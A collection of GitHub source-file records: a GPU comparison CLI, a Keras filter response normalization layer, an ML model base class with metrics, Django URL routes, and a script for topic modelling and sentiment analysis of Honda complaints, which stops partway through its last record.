{"seq_id": "9143373960", "text": "from typing import Optional\n\nfrom enum import Enum\nfrom random import choice\n\nimport typer\nfrom rich.console import Console\n\nfrom gpucompare import version\nfrom gpucompare.parse import parse_csv\n\n\nclass Color(str, Enum):\n    white = \"white\"\n    red = \"red\"\n    cyan = \"cyan\"\n    magenta = \"magenta\"\n    yellow = \"yellow\"\n    green = \"green\"\n\n\napp = typer.Typer(\n    name=\"gpucompare\",\n    help=\"Compare GPUs\",\n    add_completion=False,\n)\nconsole = Console()\n\n\ndef version_callback(print_version: bool) -> None:\n    \"\"\"Print the version of the package.\"\"\"\n    if print_version:\n        console.print(f\"[yellow]gpucompare[/] version: [bold blue]{version}[/]\")\n        raise typer.Exit()\n\n\ndef print_table(my_dict, col_list=None):\n    \"\"\"Pretty print a list of dictionaries (my_dict) as a dynamically sized table.\n    If column names (col_list) aren't specified, they will show in random order.\n    \"\"\"\n    if not col_list:\n        col_list = list(my_dict[0].keys() if my_dict else [])\n    my_list = [col_list]  # 1st row = header\n    for item in my_dict:\n        my_list.append(\n            [str(item[col] if item[col] is not None else \"\") for col in col_list]\n        )\n    col_size = [max(map(len, col)) for col in zip(*my_list)]\n    format_str = \" | \".join([f\"{{:<{i}}}\" for i in col_size])\n    my_list.insert(1, [\"-\" * i for i in col_size])  # Seperating line\n    return my_list, format_str\n\n\n@app.command(name=\"\")\ndef main(\n    csv_data: str = typer.Option(\n        ...,\n        help=\"\"\"CSV file containing row-wise GPU data\n\n            \\b \n            Possible columns:\n            gpu_name (str): name of gpu  [required]\n            architecture (str): GPU architecture\n            cuda_cores (int): number of cuda cores\n            fp32_perf (float): fp32 performance in TFLOPS\n            fp16_perf (float): fp16 performance in TFLOPS\n            int8_perf (float): int8 performance in TOPS\n            mem (float): gpu memory in GiB\n            mem_bandwidth (float): memory bandwidth in GB/s\n            \"\"\",\n    ),\n    output: str = typer.Option(\n        \"concise\",\n        \"--output\",\n        case_sensitive=False,\n        help=\"Output in 'concise' or 'detailed' format.\",\n    ),\n    # color: Optional[Color] = typer.Option(\n    #     None,\n    #     \"-c\",\n    #     \"--color\",\n    #     \"--colour\",\n    #     case_sensitive=False,\n    #     help=\"Color for print. If not specified then choice will be random.\",\n    # ),\n    print_version: bool = typer.Option(\n        None,\n        \"-v\",\n        \"--version\",\n        callback=version_callback,\n        is_eager=True,\n        help=\"Prints the version of the gpucompare package.\",\n    ),\n) -> None:\n    \"\"\"Compare GPUs\"\"\"\n    # if color is None:\n    color = choice(list(Color))\n\n    detailed_dict, concise_dict = parse_csv(csv_data)\n    if output == \"concise\":\n        console.print(f\"[bold {color}]{concise_dict}[/]\")\n    elif output == \"detailed\":\n        out_list, format_str = print_table(detailed_dict)\n        for item in out_list:\n            console.print(f\"[bold {color}]{format_str.format(*item)}[/]\")\n\n\nif __name__ == \"__main__\":\n    app()\n", "repo_name": "kHarshit/gpucompare", "sub_path": "gpucompare/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 3112, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "enum.Enum", "line_number": 13, "usage_type": "name"}, {"api_name": "typer.Typer", "line_number": 22, "usage_type": "call"}, {"api_name": "rich.console.Console", "line_number": 27, "usage_type": "call"}, {"api_name": "gpucompare.version", "line_number": 33, "usage_type": "name"}, {"api_name": "typer.Exit", "line_number": 34, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 56, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 72, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 86, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 97, "usage_type": "call"}, {"api_name": "gpucompare.parse.parse_csv", "line_number": 99, "usage_type": "call"}]}
{"seq_id": "9991565933", "text": "from keras.engine import Layer, InputSpec\nfrom keras import initializers\nfrom keras import regularizers\nfrom keras import constraints\nfrom keras import backend as K\nimport tensorflow as tf\nfrom keras.utils.generic_utils import get_custom_objects\n\n\nclass FilterResponseNormNd(Layer):\n    def __init__(self, ndim, num_features, eps=1e-6,\n                 learnable_eps=False, **kwargs):\n        super(FilterResponseNormNd, self).__init__(**kwargs)\n        assert ndim in [3, 4, 5], \\\n            'FilterResponseNorm for '+str(ndim)+'d not implemented.'\n\n        shape = (1, ) + (1, ) * (ndim - 2) + (num_features,)\n        self.eps = tf.Variable(initial_value=tf.ones(shape=shape)*eps, trainable=learnable_eps)\n        self.build(shape)\n\n    def build(self, shape):\n\n        self.gamma = self.add_weight(shape=shape,\n                                         name='gamma',\n                                         initializer='ones')\n\n        self.beta = self.add_weight(shape=shape,\n                                        name='beta',\n                                        initializer='zeros')\n\n        self.tau = self.add_weight(shape=shape,\n                                    name='tau',\n                                    initializer='zeros')\n\n    def call(self, x, **kwargs):\n\n        tensor_input_shape = K.int_shape(x)\n        avg_dims = tuple(range(1, len(tensor_input_shape)-1))\n        nu2 = Lambda(lambda x : K.mean(tf.pow(x, 2),axis=avg_dims, keepdims=True))(x)\n        xs = Lambda(lambda x : tf.math.rsqrt(tf.add(nu2,tf.math.abs(self.eps))))(nu2)\n        x = Multiply()([xs,x])\n        \n        return tf.math.maximum(self.gamma * x + self.beta, self.tau)\n\n    def get_config(self):\n        config = {\n            'learnable_eps': self.learnable_eps,\n            'eps': self.eps\n        }\n        base_config = super(FilterResponseNormNd, self).get_config()\n        return dict(list(base_config.items()) + list(config.items()))\n\n    def compute_output_shape(self, input_shape):\n        return input_shape\n\nclass FilterResponseNorm1d(FilterResponseNormNd):\n\n    def __init__(self, num_features, eps=1e-6, learnable_eps=False, **kwargs):\n        super(FilterResponseNorm1d, self).__init__(\n            3, num_features, eps=eps, learnable_eps=learnable_eps, **kwargs)\n\n\nclass FilterResponseNorm2d(FilterResponseNormNd):\n\n    def __init__(self, num_features, eps=1e-6, learnable_eps=False, **kwargs):\n        super(FilterResponseNorm2d, self).__init__(\n            4, num_features, eps=eps, learnable_eps=learnable_eps, **kwargs)\n\n\nclass FilterResponseNorm3d(FilterResponseNormNd):\n\n    def __init__(self, num_features, eps=1e-6, learnable_eps=False, **kwargs):\n        super(FilterResponseNorm3d, self).__init__(\n            5, num_features, eps=eps, learnable_eps=learnable_eps, **kwargs)\n\nget_custom_objects().update({'FilterResponseNorm1d': FilterResponseNorm1d})\nget_custom_objects().update({'FilterResponseNorm2d': FilterResponseNorm2d})\nget_custom_objects().update({'FilterResponseNorm3d': FilterResponseNorm3d})\n", "repo_name": "ChriXiang/keras_frn", "sub_path": "frn.py", "file_name": "frn.py", "file_ext": "py", "file_size_in_byte": 3031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "keras.engine.Layer", "line_number": 10, "usage_type": "name"}, {"api_name": "tensorflow.Variable", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.ones", "line_number": 18, "usage_type": "call"}, {"api_name": "keras.backend.int_shape", "line_number": 37, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 37, "usage_type": "name"}, {"api_name": "keras.backend.mean", "line_number": 39, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 39, "usage_type": "name"}, {"api_name": "tensorflow.pow", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.math.rsqrt", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 40, "usage_type": "attribute"}, {"api_name": "tensorflow.add", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.math.abs", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.math.maximum", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 43, "usage_type": "attribute"}, {"api_name": "keras.utils.generic_utils.get_custom_objects", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.utils.generic_utils.get_custom_objects", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.utils.generic_utils.get_custom_objects", "line_number": 78, "usage_type": "call"}]}
{"seq_id": "19398447599", "text": "\"\"\"\nClasse mère des classe comportant des modèles\n\nElle gere la sauvegarde automatique des modèle\nAuthor : bsanchez@starclay.fr\ndate : 06/08/2020\n\"\"\"\nimport os\nfrom abc import ABC\nfrom abc import ABCMeta\nfrom abc import abstractmethod\nfrom abc import ABC\nimport tempfile\nimport pickle\nimport pandas as pd\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import brier_score_loss\nfrom sklearn.metrics import log_loss\nfrom sklearn.metrics import average_precision_score\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import matthews_corrcoef\nfrom sklearn.metrics import cohen_kappa_score\nfrom sklearn.metrics import fbeta_score\nfrom sklearn.metrics import  precision_score\nfrom sklearn.metrics import  recall_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import average_precision_score\n\nfrom .utils import *\n\n\nclass Model(ABC):\n    \n    def __init__(self, name, model, local_path_run, model_load_path=None, dict_info_path=None):\n        \"\"\"\n        Classe mère des classe comportant des modèles\n        Elle gere la sauvegarde automatique des modèle\n\n        :param name: str. Nom du modèle\n        :param model: modèle de prédiction (keras ou autre) chargé\n        :param local_path_run: chemin local du training\n        :param model_load_path: chemin local pour charger le modèle entraîné\n        :param dict_info_path: chemin local vers le fichier contenant les meta-parametres\n        \"\"\"\n        self.model_name = name\n        self.model = model\n        if model_load_path is not None:\n            self.load_model(model_load_path, dict_info_path)\n        self.local_path_run = local_path_run\n                    \n    @abstractmethod\n    def train_model(self, X_train,  y_train):\n        \"\"\"\n        Method qui entraine le modèle, avec ou sasn tuning\n        \n        :param X_train: matrice creuse contenant les donnée d'entrainement\n        :param y_train: Matrice pleine contenant les labels\n    \n        :returns: void\n        \"\"\"\n        pass\n    \n    @abstractmethod\n    def run_model(self,  X_test,  y_test):\n        \"\"\"\n        Method qui prédit les label sur des données fournis.\n        \n        :param X_test: matrice creuse contenant les donnée de test\n        :param y_test: Matrice pleine contenant les label\n    \n        :returns: void\n        \"\"\"\n        pass\n        \n    def save_model(self, save_dir=None):\n        \"\"\"\n        Sauvegarde le modèle\n        :returns: void\n        \"\"\"\n        if save_dir is None:\n            save_dir = self.local_path_run\n        pickle.dump(self.model, open(os.path.join(save_dir, self.model_name + \".p\"), \"wb\"))\n    \n    def load_model(self, model_path, dict_info_path):\n        \"\"\"\n        Load function for runtime\n\n        :param model_path: chemin vers la sauvegarde du modèle\n        :param dict_info_path: chemin vers le fichier de sauvegarde des meta-paramètres\n        :returns: None\n        \"\"\"\n        self.model = pickle.load(open(model_path, 'rb'))\n        \n    def compute_metrics(self, y_true, prediction):\n        \"\"\"\n        Génère les métrique de performance et les sauvegarde\n        \n        :param prediction: Matrice dense contenant les labels\n        :param y_test: Matrice dense contenant les labels\n        :returns: void\n        \"\"\"\n        # Threshold ?\n        dict_metric = {}\n        cm = confusion_matrix(y_true, prediction)\n        tn, fp, fn, tp = cm.ravel()\n        dict_metric['model'] = self.model_name\n        dict_metric['tn'] = tn\n        dict_metric['fp'] = fp\n        dict_metric['fn'] = fn\n        dict_metric['tp'] = tp\n        \n        dict_metric['tn_rate'] = tn / (tn + fp)\n        dict_metric['fp_rate'] = fp / (fp + tn)\n        dict_metric['fn_rate'] = fn / (fn + tp)\n        dict_metric['tp_rate'] = tp / (tp + fn)\n        \n        dict_metric['false_positive_rate'] = false_positive_rate = fp / (fp + tn)\n        dict_metric['false_negative_rate'] = false_negative_rate = fn / (tp + fn)\n        dict_metric['true_negative_rate'] = true_negative_rate = tn / (tn + fp)\n        dict_metric['negative_predictive_value'] = negative_predictive_value = tn/ (tn + fn)\n        dict_metric['false_discovery_rate'] = false_discovery_rate = fp/ (tp + fp)\n        dict_metric['true_positive_rate'] = true_positive_rate = tp / (tp + fn)\n        dict_metric['positive_predictive_value'] = positive_predictive_value = tp/ (tp + fp)\n        dict_metric['accuracy'] =  (tp + tn) / (tp + tn + fp + fn)\n        dict_metric['roc_auc'] = roc_auc_score(y_true, prediction)\n        dict_metric['average_precision_score'] = average_precision_score(y_true, prediction)\n        dict_metric['log_loss'] = log_loss(y_true, prediction)\n        dict_metric['brier_score_loss'] = brier_score_loss(y_true, prediction)\n        dict_metric['fbeta_0.5'] = fbeta_score(y_true, prediction, beta=0.5)\n        dict_metric['fbeta_2'] = fbeta_score(y_true, prediction, beta=2)\n        dict_metric['f1_score'] = f1_score(y_true, prediction)\n\n        #         fbeta_score(y_true, prediction, beta)\n        #         cohen_kappa_score(y_true, prediction)\n        \n        df = pd.DataFrame([dict_metric])\n        return df", "repo_name": "etalab-ia/ami-ia-insee-aiee2", "sub_path": "pipeline_siret_bi/training_classes/Model.py", "file_name": "Model.py", "file_ext": "py", "file_size_in_byte": 5157, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "abc.ABC", "line_number": 32, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 51, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 63, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 92, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 125, "usage_type": "call"}, {"api_name": "sklearn.metrics.average_precision_score", "line_number": 126, "usage_type": "call"}, {"api_name": "sklearn.metrics.log_loss", "line_number": 127, "usage_type": "call"}, {"api_name": "sklearn.metrics.brier_score_loss", "line_number": 128, "usage_type": "call"}, {"api_name": "sklearn.metrics.fbeta_score", "line_number": 129, "usage_type": "call"}, {"api_name": "sklearn.metrics.fbeta_score", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 131, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 136, "usage_type": "call"}]}
{"seq_id": "743601570", "text": "from django.urls import path, re_path\nfrom django.contrib.auth import views as auth_views\n\nfrom . import views\n\nurlpatterns = [\n    path('auth/login', views.login),\n    path('auth/logout', views.logout),\n    path('api/getEvents/', views.getEvents.as_view()),\n    path('api/getRestaurants/', views.getRestaurants.as_view()),\n    path('api/popularEvents/', views.getPopularEvents.as_view()),\n    re_path(r'', views.catchall),\n]", "repo_name": "AnaCoda/YYCentral", "sub_path": "react_container/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 425, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.re_path", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "70042492105", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on Sat Apr 28 10:06:35 2018\n\n@author: dineshkaimal91\n\"\"\"\n\nfrom Class_replace_impute_encode import ReplaceImputeEncode\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport numpy as np\n# Text Topic Imports\nfrom nltk import pos_tag\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem.snowball import SnowballStemmer\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import wordnet as wn\nfrom nltk.corpus import stopwords\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.decomposition import LatentDirichletAllocation\nimport matplotlib.pyplot as plt\nfrom Class_tree import DecisionTree\nfrom wordcloud import WordCloud, STOPWORDS\nfrom PIL import Image\nimport random\n\ndef my_analyzer(s):\n    # Synonym List\n    syns = {'veh': 'vehicle', 'car': 'vehicle', 'hond':'honda', \\\n              'tl':'till', 'air bag': 'airbag', \\\n              'seat belt':'seatbelt', \"n't\":'not', 'to30':'to 30', \\\n              'wont':'would not', 'cant':'can not', 'cannot':'can not', \\\n              'couldnt':'could not', 'shouldnt':'should not', \\\n              'wouldnt':'would not', 'straightforward': 'straight forward',\\\n              'takada':'takata'}\n    \n    \n    # Preprocess String s\n    s = s.lower()\n    # Replace special characters with spaces\n    s = s.replace('-', ' ')\n    s = s.replace('_', ' ')\n    s = s.replace(',', '. ')\n    # Replace not contraction with not\n    s = s.replace(\"'nt\", \" not\")\n    s = s.replace(\"n't\", \" not\")\n    # Tokenize\n    tokens = word_tokenize(s)\n    #tokens = [word.replace(',','') for word in tokens ]\n    tokens = [word for word in tokens if ('*' not in word) and \\\n              (\"''\" != word) and (\"``\" != word) and \\\n              (word!='description') and (word !='dtype') \\\n              and (word != 'object') and (word!=\"'s\")]\n    # Map synonyms\n    for i in range(len(tokens)):\n        if tokens[i] in syns:\n            tokens[i] = syns[tokens[i]]\n    # Remove stop words\n    others = [\"quot\", \"say\", \"could\", \"also\", \"even\", \"really\", \"one\", \\\n    \"would\", \"get\", \"getting\", \"go\", \"going\", \"..\", \"...\", \\\n    \"us\", \"area\", \"need\",\"oct\", \"place\", \"want\", \"get\", \\\n    \"take\", \"end\", \"come\", \"gal\", \"get\", \"next\", \"though\", \\\n    \"say\", \"seem\", \"use\", \"sep\", \"w/\", \"jul\"]\n    stop = stopwords.words('english') + others\n    \n    tokens = [word for word in tokens if (word not in stop)]\n    filtered_terms = [word for word in tokens if (len(word)>1) and \\\n                      (not word.replace('.','',1).isnumeric()) and \\\n                      (not word.replace(\"'\",'',2).isnumeric())]\n    # Lemmatization & Stemming - Stemming with WordNet POS\n    # Since lemmatization requires POS need to set POS\n    tagged_words = pos_tag(filtered_terms, lang='eng')\n    # Stemming with for terms without WordNet POS\n    stemmer = SnowballStemmer(\"english\")\n    wn_tags = {'N':wn.NOUN, 'J':wn.ADJ, 'V':wn.VERB, 'R':wn.ADV}\n    wnl = WordNetLemmatizer()\n    stemmed_tokens = []\n    for tagged_token in tagged_words:\n        term = tagged_token[0]\n        pos = tagged_token[1]\n        pos = pos[0]\n        try:\n            pos = wn_tags[pos]\n            stemmed_tokens.append(wnl.lemmatize(term, pos=pos))\n        except:\n            stemmed_tokens.append(stemmer.stem(term))\n    return stemmed_tokens\n    \n\n\n\ndef my_preprocessor(s):\n    # Preprocess String s\n    s = s.lower()\n    # Replace special characters with spaces\n    s = s.replace('-', ' ')\n    s = s.replace('_', ' ')\n    s = s.replace(',', '. ')\n    # Replace not contraction with not\n    s = s.replace(\"'nt\", \" not\")\n    s = s.replace(\"n't\", \" not\")\n    return(s)\n\n\ndef display_topics(topic_vectorizer, terms, n_terms=15, word_cloud=False, mask=None):\n    for topic_idx, topic in enumerate(topic_vectorizer):\n        message = \"Topic #%d: \" %(topic_idx+1)\n        print(message)\n        abs_topic = abs(topic)\n        topic_terms_sorted = \\\n            [[terms[i], topic[i]] \\\n                 for i in abs_topic.argsort()[:-n_terms - 1:-1]]\n        k = 5\n        n = int(n_terms/k)\n        m = n_terms - k*n\n        for j in range(n):\n            l = k*j\n            message = ''\n            for i in range(k):\n                if topic_terms_sorted[i+l][1]>0:\n                    word = \"+\"+topic_terms_sorted[i+l][0]\n                else:\n                    word = \"-\"+topic_terms_sorted[i+l][0]\n                message += '{:<15s}'.format(word)\n            print(message)\n        if m> 0:\n            l = k*n\n            message = ''\n            for i in range(m):\n                if topic_terms_sorted[i+l][1]>0:\n                    word = \"+\"+topic_terms_sorted[i+l][0]\n                else:\n                    word = \"-\"+topic_terms_sorted[i+l][0]\n                message += '{:<15s}'.format(word)\n            print(message)\n        print(\"\")\n      \n    return\ndef term_dic(tf, terms, scores=None):\n    td = {}\n    for i in range(tf.shape[0]):\n    # Iterate over the terms with nonzero scores\n        term_list = tf[i].nonzero()[1]\n        if len(term_list)>0:\n            if scores==None:\n                for t in np.nditer(term_list):\n                    if td.get(terms[t]) == None:\n                        td[terms[t]] = tf[i,t]\n                    else:\n                        td[terms[t]] += tf[i,t]\n        else:\n            for t in np.nditer(term_list):\n                score = scores.get(terms[t])\n                if score != None:\n                    # Found Sentiment Word\n                    score_weight = abs(scores[terms[t]])\n                    if td.get(terms[t]) == None:\n                        td[terms[t]] = tf[i,t] * score_weight\n                    else:\n                        td[terms[t]] += tf[i,t] * score_weight\n    return td\n\n# Increase column width to let pandy read large text columns\npd.set_option('max_colwidth', 32000)\n# Read NHTSA Comments\nfile_path = r'C:/Users/siddh/Desktop/EM_Projects/Finals/Python'\ndf = pd.read_excel(file_path+\"/HondaComplaints.xlsx\")\n\n\n''''\n*********Data exploration and visualization*************\nsns.factorplot(x=\"crash\",y='mph',col=\"Year\",data=df,kind=\"box\",size=4,aspect=.7)\nsns.factorplot(x=\"crash\",y='mph',data=df,kind=\"box\",size=4,aspect=.7)\nsns.factorplot(x=\"crash\",y='mileage',col=\"Year\",data=df,kind=\"violin\",size=4,aspect=.7)\n'''\n# Setup program constants and reviews\nn_reviews = len(df['description'])\nn_topics = 7 # number of topics\n\n# Create Word Frequency by Review Matrix using Custom Analyzer\n# max_df is a stop limit for terms that have more than this\n# proportion of documents with the term (max_df - don't ignore any terms)\ncv = CountVectorizer(max_df=0.7, min_df=4, max_features=None,\\\n                     analyzer=my_analyzer)\ntf = cv.fit_transform(df['description'])\ntf1=tf\nterms = cv.get_feature_names()\nprint('{:.<22s}{:>6d}'.format(\"Number of Reviews\", n_reviews))\nprint('{:.<22s}{:>6d}'.format(\"Number of Terms\", len(terms)))\n# Term Dictionary with Terms as Keys and frequency as Values\ntd = term_dic(tf, terms)\nprint(\"The Corpus contains a total of \", len(td), \" unique terms.\")\nprint(\"The total number of terms in the Corpus is\", sum(td.values()))\n\nterm_sums = tf.sum(axis=0)\nterm_counts = []\nfor i in range(len(terms)):\n    term_counts.append([terms[i], term_sums[0,i]])\ndef sortSecond(e):\n    return e[1]\nterm_counts.sort(key=sortSecond, reverse=True)\nprint(\"\\nTerms with Highest Frequency:\")\nfor i in range(10):\n    print('{:<15s}{:>5d}'.format(term_counts[i][0], term_counts[i][1]))\n\n\n# Construct the TF/IDF matrix from the data\nprint(\"\\nConducting Term/Frequency Matrix using TF-IDF\")\n# Default for norm is 'l2', use norm=None to supress\ntfidf_vect = TfidfTransformer(norm=None, use_idf=True) #set norm=None\n# tf matrix is (n_reviews)x(m_features\ntf = tfidf_vect.fit_transform(tf)\nterm_idf_sums = tf.sum(axis=0)\nterm_idf_scores = []\nfor i in range(len(terms)):\n    term_idf_scores.append([terms[i], term_idf_sums[0,i]])\nprint(\"The Term/Frequency matrix has\", tf.shape[0], \" rows, and\",\\\n      tf.shape[1], \" columns.\")\nprint(\"The Term list has\", len(terms), \" terms.\")\nterm_idf_scores.sort(key=sortSecond, reverse=True)\nprint(\"\\nTerms with Highest TF-IDF Scores:\")\nfor i in range(10):\n    j = i\n    print('{:<15s}{:>8.2f}'.format(term_idf_scores[j][0], \\\n          term_idf_scores[j][1]))\n\n\n\n# LDA Analysis\nuv = LatentDirichletAllocation(n_components=n_topics, \\\n                               learning_method='online', random_state=12345)\nU = uv.fit_transform(tf)\nprint(\"\\n********** GENERATED TOPICS **********\")\ndisplay_topics(uv.components_, terms, n_terms=15)\n# Store topic selection for each doc in topics[]\ntopics = [0] * n_reviews\nfor i in range(n_reviews):\n    max = abs(U[i][0])\n    topics[i] = 0\n    for j in range(n_topics):\n        x = abs(U[i][j])\n        if x > max:\n            max = x\n            topics[i] = j\nU_rev_scores = []\nfor i in range(n_reviews):\n    u = [0] * (n_topics+1)\n    u[0] = topics[i]\n    for j in range(n_topics):\n        u[j+1] = U[i][j]\n    U_rev_scores.append(u)\nrev_scores = U_rev_scores\n# Integrate Topic Scores into Main Data Frame (df)\ncols = [\"topic\"]\nfor i in range(n_topics):\n    s = \"T\"+str(i+1)\n    cols.append(s)\ndf_rev = pd.DataFrame.from_records(rev_scores, columns=cols)\ndf = df.join(df_rev)\n\n\nprint(\" TOPIC DISTRIBUTION\")\nprint('{:<6s}{:>4s}{:>12s}'.format(\"TOPIC\", \"N\", \"PERCENT\"))\nprint(\"----------------------\")\ntopic_counts = df['topic'].value_counts(sort=False)\nfor i in range(len(topic_counts)):\n    percent = 100*topic_counts[i]/n_reviews\n    print('{:>3d}{:>8d}{:>9.1f}%'.format((i+1), topic_counts[i], percent))\n\n\nprint(\"\\n**** Sentiment Analysis ****\")\nsw = pd.read_excel(file_path+\"/afinn_sentiment_words.xlsx\")\n# Setup Sentiment dictionary\nsentiment_dic = {}\nfor i in range(len(sw)):\n    sentiment_dic[sw.iloc[i][0]] = sw.iloc[i][1]\n# Display first ten terms in the dictionary\nn = 0\nfor k,v in sentiment_dic.items():\n    n += 1\n    print(k, v)\n    if n>10:\n        break\n\n\ntf=tf1\n\n# Calculate average sentiment for every review save in sentiment_score[]\nmin_sentiment = +5\nmax_sentiment = -5\navg_sentiment, min, max = 0,0,0\nmin_list, max_list = [],[]\nsentiment_score = [0]*n_reviews\nfor i in range(n_reviews):\n    # Iterate over the terms with nonzero scores\n    n_sw = 0\n    term_list = tf[i].nonzero()[1]\n    if len(term_list)>0:\n        for t in np.nditer(term_list):\n            score = sentiment_dic.get(terms[t])\n            if score != None:\n                sentiment_score[i] += score * tf[i,t]\n                n_sw += tf[i,t]\n    if n_sw>0:\n        sentiment_score[i] = sentiment_score[i]/n_sw\n    if sentiment_score[i]==max_sentiment and n_sw>3:\n        max_list.append(i)\n    if sentiment_score[i]>max_sentiment and n_sw>3:\n        max_sentiment=sentiment_score[i]\n        max = i\n        max_list = [i]\n    if sentiment_score[i]==min_sentiment and n_sw>3:\n        min_list.append(i)\n    \n    if sentiment_score[i]<min_sentiment and n_sw>3:\n        min_sentiment=sentiment_score[i]\n        min = i\n        min_list = [i]\n    avg_sentiment += sentiment_score[i]\navg_sentiment = avg_sentiment/n_reviews\nprint(\"\\nCorpus Average Sentiment:{:>5.2f} \".format(avg_sentiment))\nprint(\"\\nMost Negative Reviews with 4 or more Sentiment Words:\")\nfor i in range(len(min_list)):\n    print(\"{:<s}{:>5d}{:<s}{:>5.2f}\".format(\" Review \", min_list[i], \\\n          \" Sentiment is \", min_sentiment))\n\nprint(\"\\nMost Positive Reviews with 4 or more Sentiment Words:\")\nfor i in range(len(max_list)):\n    print(\"{:<s}{:>5d}{:<s}{:>5.2f}\".format(\" Review \", max_list[i], \\\n          \" Sentiment is \", max_sentiment))\n\n\ndf_sentiment = pd.DataFrame(sentiment_score, columns=['sentiment'])\ndf = df.join(df_sentiment)\nprint(df.groupby(['Model'])['sentiment'].mean(), \"\\n\")\nprint(df.groupby(['topic'])['sentiment'].mean(), \"\\n\")\nprint(df.groupby(['topic','Model'])['sentiment'].mean())\n\n\n\n'''\n*****States analysis code*****************\n\nstates = pd.read_csv(\"C:/Dinesh/TAMU/Courses/Spring 2018/Final/states.csv\")\ndf_1 = df.merge(states, left_on = 'State', right_on = 'Abbreviation')\nxy = df_1.groupby([\"State_y\",\"crash\"]).size()\ndf_2 = xy.groupby(level = 0).apply(lambda x:100*x/float(x.sum())).reset_index(name = \"fraction\")\ndf_2 = df_2.loc[(df_2.crash == \"Y\")].sort_values(['fraction'])\n\nxc = df_1.groupby([\"State_y\"]).size().reset_index(name = \"Freq\")\nxc = xc.assign(p = 100*xc.Freq/xc.Freq.sum())\n#xyd = xc.merge(states, left_on = 'State_y', right_on = 'State')\nxyd = xc.merge(df_2, left_on = 'State_y', right_on = 'State_y')\nxyd = xyd.assign(score = xyd.p*xyd.fraction).sort_values(['score'],ascending = False)\n\n\n\n'''\n \nprint(\" | Sentiment Terms | Average |\")\nprint(\"Topic | Unique Total | Sentiment |\")\nprint(\"------------------------------------\")\ntopic_avg_sentiment = df.groupby(['topic'])['sentiment'].mean()\nsentiment_clouds=[] # List of cloud dictionaries\nfor i in range(n_topics):\n    idx = df.index[df['topic']==i] # Index List for Topic i\n    topic_sentiment = {}\n    n = 0\n    # Iterate over the topic i sentiments\n    for j in idx:\n        # Iterate over the terms with nonzero scores\n        term_list = tf[j].nonzero()[1]\n        if len(term_list)>0:\n            for t in np.nditer(term_list):\n                score = sentiment_dic.get(terms[t])\n                if score != None:\n                    # Found Sentiment Word\n                    n += tf[j,t]\n                    score_weight = abs(sentiment_dic[terms[t]])\n                    current_count = topic_sentiment.get(terms[t])\n                    if current_count == None:\n                        topic_sentiment[terms[t]] = tf[j,t]*score_weight\n                    else:\n                        topic_sentiment[terms[t]]+= tf[j,t]*score_weight\nsentiment_clouds.append(topic_sentiment)\nprint(\"{:>3d}{:>10d}{:>10d}{:>9.2f}\".format((i+1), len(topic_sentiment), \\\n      n, topic_avg_sentiment[i]))    \n\n\n\n\nattribute_map = {\n    'NhtsaID':[3,(0, 1e+12),[0,0]],\n    'Year':[2,(2001, 2002, 2003),[0,0]],\n    'Make':[2,('HONDA','ACURA'),[0,0]],\n    'Model':[2,('TL','ODYSSEY','CR-V','CL','CIVIC','ACCORD'),[0,0]],\n    'description':[3,(''),[0,0]],\n    'State':[3,(''),[0,0]],\n    'crash':[1,('N', 'Y'),[0,0]],\n    'abs':[1,('N', 'Y'),[0,0]],\n    'cruise':[1,('N', 'Y'),[0,0]],\n    'mileage':[0,(0, 200000),[0,0]],\n    'mph':[0,(0,80),[0,0]],\n    'topic':[2,(0,1,2,3,4,5,6),[0,0]],\n    'sentiment':[0,(-5,5),[0,0]],\n    